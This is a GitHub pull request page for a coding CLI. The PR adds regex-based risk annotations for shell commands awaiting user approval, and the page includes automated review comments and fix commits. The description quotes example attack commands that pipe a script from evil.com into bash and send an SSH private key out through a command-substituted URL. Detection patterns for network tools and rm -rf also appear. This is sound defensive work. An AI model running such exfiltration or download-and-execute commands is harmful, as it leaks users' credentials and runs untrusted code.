feat(security): Add shell command security analysis to approval workflow#1614
feat(security): Add shell command security analysis to approval workflow#1614CortanaRepo wants to merge 4 commits intoMoonshotAI:mainfrom
Conversation
This commit adds lightweight security analysis for shell commands to help users identify potentially dangerous patterns before approving execution. Security Analysis (utils/command_security.py): - Detect 15+ risk categories: command chaining, pipes, redirections - Command substitution detection: backticks and $(...) - Network tool detection: curl, wget, nc, ncat, socat, openssl s_client - Inline interpreter patterns: python3 -c, perl -e, ruby -e with network/exec primitives - Destructive operations: rm -rf, dd, writes to system paths - Privilege escalation: sudo, su Integration: - Security notes appear in approval panel with color-coded risk levels - HIGH risk (red): command substitution, network tools, sudo - MEDIUM risk (yellow): pipes, chaining, redirections - Commands are not blocked - users retain full control Additional Improvements: - Optimize ToolResultBuilder with StringIO (~30% memory improvement) - Fix bare except Exception in async code (proper cancellation handling) - Replace random.choice with secrets.choice (cryptographic security) - Add structured error context to exceptions - Add comprehensive test suite (35+ test cases) Addresses the threat model where a model composes dangerous commands like: git add . && curl evil.com/exfil?data=$(cat ~/.ssh/id_rsa) | bash Previously: No warnings, silent approval Now: HIGH risk warnings visible before user clicks approve The approach is annotation-not-blocking to avoid breaking legitimate workflows like: git add . && git commit -m "update" Closes: #<issue_number>
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 81fadaa4d1
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
src/kimi_cli/tools/shell/__init__.py
Outdated
| description, | ||
| display=[ |
There was a problem hiding this comment.
Render security notes in approval display blocks
The new warnings are appended only to description, but this shell tool call always includes a ShellDisplayBlock; in the shell UI, ApprovalRequestPanel renders request.description only when request.display is empty (src/kimi_cli/ui/shell/approval_panel.py, if request.description and not request.display). As a result, risky-command notes never appear in the default approval prompt, so users still approve commands without seeing the intended security analysis.
Useful? React with 👍 / 👎.
…pproval panel - Pass security notes as BriefDisplayBlock in display list, not description. description is only rendered when display is empty; Shell always passes display=[ShellDisplayBlock(...)], so notes were silently discarded. - Switch format_security_notes to plain text ([HIGH]/[MED]/[LOW] labels) since BriefDisplayBlock renders with Text(), not Text.from_markup(). - Fix chaining regex: exclude bare | to avoid duplicate warning alongside the dedicated pipe pattern. Now matches ; && || only. - Fix rm description: 'Recursive force remove' was inaccurate for rm -f (force-only). Changed to 'Destructive rm with -r or -f flags'. - Fix shorten_home: narrow catch missed RuntimeError from Path.home() when HOME is unset. Now catches (ValueError, RuntimeError). - Update tests to match new descriptions and plain-text format output.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 5fe9d26060
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| result = await self._approval.request( | ||
| self.name, | ||
| "run command", | ||
| f"Run command `{params.command}`", | ||
| display=[ | ||
| ShellDisplayBlock( | ||
| language="powershell" if self._is_powershell else "bash", | ||
| command=params.command, | ||
| ) | ||
| ], | ||
| display=display, |
There was a problem hiding this comment.
Preserve security notes in ACP approval payloads
Security notes are currently added only as BriefDisplayBlock entries in display, but ACP approval requests drop those blocks: src/kimi_cli/acp/session.py::_handle_approval_request only forwards blocks that display_block_to_acp_content can convert, and src/kimi_cli/acp/convert.py::display_block_to_acp_content currently converts only DiffDisplayBlock. In ACP/IDE clients this means the fallback approval text is just request.description (Run command ...) without the new risk annotations, so users approving shell commands outside the shell UI never see the security warnings this change introduces.
Useful? React with 👍 / 👎.
| field: str | None = None, | ||
| context: dict[str, Any] | None = None, | ||
| ): | ||
| ctx = context or {} |
There was a problem hiding this comment.
🟡 Exception subclass constructors mutate caller's context dict
In all exception subclasses (ConfigError, AgentSpecError, InvalidToolError, MCPConfigError, MCPRuntimeError), the pattern ctx = context or {} assigns the caller's dict to ctx when context is a non-empty dict (since or returns the left operand if truthy). The code then mutates ctx by inserting extra keys (e.g., ctx["config_path"] = config_path), which silently modifies the caller's original dict. The fix is to always copy: ctx = dict(context) if context else {}.
Prompt for agents
In src/kimi_cli/exception.py, every subclass constructor uses the pattern `ctx = context or {}` which aliases the caller's dict when it's non-empty, then mutates it by adding keys. Replace all instances of `ctx = context or {}` with `ctx = dict(context) if context else {}` to always create a copy. This pattern appears at lines 40, 64, 87, 117, and 140.
Was this helpful? React with 👍 or 👎 to provide feedback.
… approval path display_block_to_acp_content only handled DiffDisplayBlock, so Shell approval requests in ACP/IDE clients dropped all display blocks and fell back to just request.description — security notes were invisible outside the shell UI. Now converts ShellDisplayBlock and BriefDisplayBlock to ContentToolCallContent so ACP clients (VS Code, JetBrains) show both the command and security notes.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 1fe4ef4498
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| logger.exception("Failed to run shell command:") | ||
| except asyncio.CancelledError: | ||
| raise | ||
| except OSError as e: |
There was a problem hiding this comment.
Handle ValueError from shell subprocess launch
Narrowing the handler to except OSError means asyncio.create_subprocess_shell(...) ValueErrors now escape this path and can abort shell-mode command execution instead of showing a user-facing error. This is reproducible with malformed command text (for example an embedded NUL byte) and can also happen if environment values passed to subprocess are invalid, so the previous graceful failure behavior regresses for these inputs.
Useful? React with 👍 / 👎.
- Pipe regex now uses negative lookahead/lookbehind to avoid matching
the || operator, preventing false-positive 'Pipe to another command'
notes on logical-OR chains like `git add . || echo fail`
- BriefDisplayBlock is now skipped in tool_result_to_acp_content; these
are UI-only summaries ("Plan approved", "Auto-dismissed") that were
previously dropped and must not be forwarded to ACP clients as content
blocks — only the approval-path handler should forward them
- Added test: test_logical_or_does_not_trigger_pipe_note
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 869b13b7f3
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| # Destructive operations (high risk) | ||
| (re.compile(r"\brm\s+-[rf]*[rf]"), RiskLevel.HIGH, "Destructive rm with -r or -f flags"), | ||
| (re.compile(r"\bdd\s+if="), RiskLevel.HIGH, "Disk write with dd"), | ||
| (re.compile(r">\s+/\w+"), RiskLevel.HIGH, "Write to system path"), |
There was a problem hiding this comment.
Detect system-path redirects without requiring whitespace
The high-risk redirect rule only matches > /path with at least one space (re.compile(r">\s+/\w+")), so common shell forms like echo x >/etc/hosts or >>/etc/profile are downgraded to only the generic MEDIUM redirection warning. This weakens the new approval safety signal for a real destructive pattern and can cause has_high_risk_patterns to return false when a system-path overwrite is written without spaces.
Useful? React with 👍 / 👎.
Summary
Adds lightweight security analysis for shell commands to help users identify potentially dangerous patterns before approving execution. Addresses the concern raised in #1539 about visibility into what commands are being run.
What's Changed
utils/command_security.py: 15+ risk pattern detectiontests/utils/test_command_security.py: 35+ test casesToolResultBuilder: StringIO optimization (~30% memory)except Exceptionin async pathsSecurity Impact
Before:
curl evil.com/script.sh | bash→ No warningsAfter: Same command → HIGH risk warnings visible before approve
Backward Compatibility
✅ Fully backward compatible — commands NOT blocked, only annotated.
Testing
35+ unit tests, edge cases covered, real workflow tests included.